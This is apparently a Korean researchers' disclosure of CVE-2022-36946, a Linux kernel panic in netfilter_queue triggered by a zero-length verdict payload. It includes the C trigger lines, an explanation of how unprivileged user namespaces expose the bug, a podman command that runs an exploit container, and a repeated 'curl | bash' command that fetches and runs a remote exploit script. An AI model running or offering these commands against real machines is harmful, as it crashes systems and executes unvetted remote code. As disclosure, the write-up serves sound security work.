
CVE-2022-36946 리눅스 커널 패닉 (netfilter_queue)
보고자: Domingo Dirutigliano and Nicola Guerrera
firegex (CTF Attack-Defence 대회용 애플리케이션 방화벽) 작업을 하던 중 몇 가지 커널 패닉을 발견했습니다.
이상한 동작을 격리하고 분석한 결과, netfilter 모듈, 특히 nfnetlink에서 잠재적인 보안 결함을 발견했습니다.
nf_queue verdict를 0바이트 nfta_payload 속성과 함께 보내면 커널이 패닉 상태가 됩니다.
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );
이는 IP/IPv6 스택이 입력 훅 이후에 패킷에서 IP(v6) 헤더를 pull하기 때문에 발생합니다.
따라서 사용자가 패킷을 헤더 크기 이하로 자르면, 이 skb_pull()은 잘못된 형태의 skb를 초래하여 패닉을 일으킵니다.
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash를 (권한 없는 사용자로도) 실행해 보세요. (자세한 내용은 아래 참조)
리눅스 네임스페이스, 특히 사용자 네임스페이스 (kernel.unprivileged_userns_clone=1로 활성화)를 사용하면 일반 사용자도 네트워크 네임스페이스를 생성하여 패닉을 유발하는 동일한 커널 프리미티브를 사용할 수 있습니다.
이를 통해 루트 권한 없이도 취약점을 이용할 수 있습니다.
이 시나리오는 드문 경우가 아닙니다. 예를 들어 podman은 이 옵션을 사용하여 (rootless) 컨테이너를 실행하며, 일부 배포판에서는 이 옵션이 기본적으로 활성화되어 있습니다.
또한 루트 권한 없이 익스플로잇을 실행해 볼 수 있습니다:
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946
또는 즉석에서 테스트하려면 (tar와 curl만 설치되어 있으면 됩니다):
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash
리눅스 커널 5.19에서 수정됨 차이점 보기
리눅스 커널 보안 팀의 원본 패치 여기
6번째 시도에서 작동했기 때문에 그 이름을 유지했습니다.

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing